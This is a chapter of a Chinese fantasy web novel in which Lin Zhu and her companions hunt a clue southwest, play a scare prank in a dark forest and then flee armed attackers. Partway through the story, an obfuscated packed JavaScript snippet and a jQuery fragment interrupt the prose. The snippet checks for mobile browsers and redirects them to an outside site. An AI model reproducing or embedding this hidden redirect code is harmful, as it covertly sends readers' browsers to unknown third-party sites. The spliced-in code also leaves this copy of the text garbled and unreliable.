46. 惊吓
作品:《她不当宗门首徒很久了》 “凡尘过往,皆可追溯,去!”
谢知指尖窜出一点灵力飞到掌心的佛珠之上,灵力幻化成银色光点,绕四周转了一圈后灵力渐渐收紧,集中于西南方。
谢知收起佛珠放回袋中,“看来我们要去西南方了。”
谢微看向旁边的如然,“此事要怎么和宁一说?”
他们现在还是在演一出名叫“孤立林祝”的大戏,就连探测方向都是假意避开林祝悄悄进行,但此行是几人一起,他们不可能丢下林祝独自走开,否则通真回来会一掌灭了他们所有人。
麻烦事,他们不想沾,不如去让如然费脑筋。
如然沉思片刻,“如实相告就好。”
谢微转头道,“宁一,走了,我们要启程去西南方向探案。”
谢知传音:“你忘了要孤立宁一了吗,这么大声干嘛。”
谢微摸摸鼻头,视线转向地面,盯着一块毫无特色的板砖看了半晌。
屋内林祝伸伸懒腰,终于可以出门活动了,憋死她了。
她将雪岭挂在腰间,走过桌案时微微停顿又走了回来,眼神落在桌上还未倒完的酒壶。
“诶,好东西。”
林祝拿起酒壶,拧开瓶盖深吸一口,神情都舒展开了,“好香。”
酒深不怕巷子深,好酒传香,她可得把酒给藏好了,万一被谁发现了可就不能独享了。
通真的酒藏的严实,她只尝过一次,还是在梵音寺时好不容易带出来的。
通真好酒,整个修仙界也找不出几个比他更会饮酒的人,平时通真把这酒看得紧,没想到这次他临行前居然没有拿走。
林祝轻笑一声,也好,正好便宜了她。
等等,他们现在在孤立她,那岂不是她可以大摇大摆的拿着酒壶四处乱窜,不得羡慕死他们。
林祝心情越发美丽,“启程。”
由于追印术并未指向具体的地点,只有方向,林祝四人此行并未用传送符,而是选择了更为传统的方式——走路。
一路过来,入目之景越来越多,人为修起来的建筑也愈发地荒凉,如若不是他们亲眼所见,林祝是不会相信在梵音寺附近还有这种村落的。
一路上,谢知谢微不知多少次目光从她的酒壶上掠过,或威胁或控诉,林祝皆回以挑衅的微笑。
能拿她怎样?
林祝咳嗽一声,“前面是岔路,我们该如何选择?又用追印术?”
谢知擅长法术,如然便交给她保管佛珠一路追印,中间几次遇到岔路口都是她用追印术做出的决定。
“对。”
林祝瞥见谢知再次拿出佛珠,视线落在谢知手中的佛珠上,眼中含着疑问,“为什么要用这个佛珠追踪?”
谢知脸上的笑容凝住,像是不知道要怎么回答她,又像是嫌她厌她。
林祝见没人回答自己,眉间染上了分急躁,“说话啊,这是什么,我们一同出来我怎么不知道有这东西,难道是如心背着我塞给你们的?”
谢知与谢微在后面无声蛐蛐,林祝的表演痕迹太重,还不如他们。
如然:“宁施主,昨夜你睡着之后,贫道突然想起件重要物品,不忍打扰已然熟睡的宁施主便和另外两位施主先商量着,等宁施主醒来之后再告诉。”
然而林祝却是扭头就走,一派气度小的模样,根本不管如然说了什么。
如然身旁谢知替他打抱不平,他也只是大度地笑笑。
有什么关系呢,可怜人罢了。
一切都如他预想中那般顺利进行,甚至比他想的还要顺利,本以为要谢知谢微二人去孤立林祝她才会离去,没想到她自己竟主动离开二人,独自在前方探路。
清晨泥土路上并不干燥,昨夜留下的雨露渗透到泥里,走起路来黏糊还易跌倒。
走完这段路,前方就更不好走了,一片幽深不见底的树林横在他们要去的路上,树与树之间根连根、叶挨叶,分不清看不穿。
林祝回头看了眼还在后面说笑的人,“前面这片林子如然你有印象吗?”
如然:“穿过就好,不会有什么危险,之前贫道和如...一起下山来过此地,林中常年无人打理树木,时间一长,树就长得越发大了起来,遮住了太阳,远远看确实有种令人心悸的感觉。”
如?
其余三人互看一眼,各自留意。
林祝招手,“既然没危险,那走吧。”
踏入林中的刹那,林祝被烟呛得咳嗽,挥手将面前的气流赶走施法隔绝灰尘,“进来的时候加个防尘术,里面空气里有很多被掀起来的尘土,无毒。”
后面人一听,纷纷给自己施加防尘术,果然没有再被尘土呛住。
如然:“多谢宁施主提醒。”
林祝头也不回地说道,“小事。”
不过话她并没有说完,还留了一截。
平日里无人打理的林子空中突然大面积起了尘雾,她不说其余几人也不提,谢知谢微想不到,如然也想不到?
林祝犹豫一番,将她的想法说给几人听,不出所料,他们几人表面上表现得并没有把她说的话当回事,甚至和她唱反调。
“杞人忧天,我们这么强,还有如然这里厉害的帮手,一定不会有事的。”
嗯,是的,他们出事后如然可以现场进行超度,那确实很强了,都不用排队。
不过,她也只是提醒一句,刷刷存在感,防止他们将她真的忘了,并不是真的担心。
要来的早晚会来,跑不掉的也不想跑,所谓危险,不过是面临比自己强大的敌人,一味沉浸在恐惧中,不如提升自我,沉着应对。
除了鬼,这世上还没有什么能让她害怕的东西。
只是危险并没有像她想的那样到来,一天一夜过去,林中除却几只被迫低空飞行的鸟兽并无其他动静。
谢知:“你看,我就说吧,哪儿来的危险,安全着呢。”
谢知演得很好,演技飞快进步,几天下来,林祝已经真的很想打她一顿了。
林祝耳朵一动,“是吗?”
前方树后传来一丝异响,被遮盖在他们的谈话声中,林祝做了个收声的动作,猫着身子快速逼近。
“吱呀。”
如然身形一顿,缓慢抬起脚,一直被踩碎的树枝压进土地里。
林祝呼吸一紧,婆娑步身法使她无风自动,转眼间来到树后,随后人被拉了进去,仅留下一只还在挣扎的手。
“救我!”
谢知心一揪,“宁一,发生什么了!”
谢微抢先一步前往树背后,下一瞬人被整个吸了过去,不见人影。
谢知死命拧住如然的衣袖,“走,我们去救人!”
如然神情纠结,轻轻挣扎,试图逃离谢知对他的桎梏。
不,他并不想去,没料到他们现在对他竟然已经如此依赖,只是他并不打算陪他们去送死,他们的情谊还没到这个份上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632963|164888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但他争不过在梵音寺经过魔鬼训练后的谢知,他被拉着往前走。
谢知一步步走向树背后,心跳越发快了起来,能将林祝谢微二人在瞬间击败的敌人想来一定厉害非常!
树后面空荡荡一片,谢知睁大眼睛把地下杂草扫开。
”没人?”
谢知放下心来,心跳回归平稳状态,“吓死了,还好是虚惊一场,不过宁一谢微人呢?”
就在他们背过身的刹那,无人的空地,一道极为尖锐的和声突然响起。
“惊喜吧!”
谢知全身一抖,灵魂直接出窍,惊声尖叫!
”啊!”
林祝谢微捂住耳朵,如然被拉住无法捂住耳朵,只能往后退一步,拉开距离。
谢知一双拳头精准落在林祝谢微二人腹部,“你们没事闲得慌是吧!”
林祝配合的痛叫一声,转眼就跟没事人一样笑,“消消气消消气。”
谢知把脸瞥向一边,视线却落到了酒壶上,“没门!除非你把酒给我喝…”
林祝微笑,把酒保护起来,“门都没有。”
如然看了场闹剧,心里却并不美好,再次加上幻术,“我们继续赶路吧。”
不出半刻钟,林祝停下脚步,“等等,前面有人。”
如然笑笑,“宁施主,再来一次同样的招数可不行。”
其余人只当她还在开玩笑,嘲笑她两句,大步往前走去。
林祝脸色微凝,“别往前走了,真的有人。”
“向西南方跑!”
接收到信号的谢知谢微脸色一变,转身抓起还愣在原地的如然撒腿狂奔。
几乎是他们腿离地后下一秒,地面上齐齐蹦出几道骇人灵力。
“四杀术!沾上一点半条腿都废了,这么猛的杀术拿来对付筑基期?真舍得!”
“你是没看到我底下那道剑气,精简纯净,全是杀意,没有一点杂心,如果不是用来杀我就更好了。”
逃命的时候,拥有一门绝佳逃生技能的人总是格外的有机会在一众被追杀之人中逃出生天。
林祝本以为她可以一马当先甩开所有人,没想到转头的时候又看见了两张熟悉的面孔。
谢知谢微根本不落她下风,两条腿抡得飞起。
林祝觉得不可思议,“我练了婆娑步,你们练了什么?”
谢微挑眉,“人在江湖飘,哪能不挨刀,没点技能怎么敢上江湖闯荡,只是没想到你看着浓眉大眼的竟也学了逃命的本事。”
林祝表示,“害,一入江湖,岁月催人老,其实我大你们两百岁,是你们父母好友,按道理你们该叫我一声奶奶。”
随后左右两边二人异口同声道,“滚!”
林祝摸耳朵,顺便躲过身后飞剑,”说实话你们又不信。”
多亏了魔鬼训练,现在的谢知拖着如然也不觉得累赘,“宁一,要不要来比一场,看是你的婆娑步厉害还是我们花十块下品灵石买的终极跑跑跑步法厉害。”
十块下品灵石?她这可不要钱!
林祝扬唇一笑,“好,那我们就来比谁溜的敌人多。”
说完她大喊一声,向一个小方向跑去,“后面的废物,可要跟紧了!”
身后黑衣人暗器甩得更凶了,唰唰向林祝奔去,成功拉掉一部分人。
谢知谢微不甘示弱,一人领着一小队敌人向各方奔去,只有如然被拖着前行,在谢知的肩上被磕来磕去。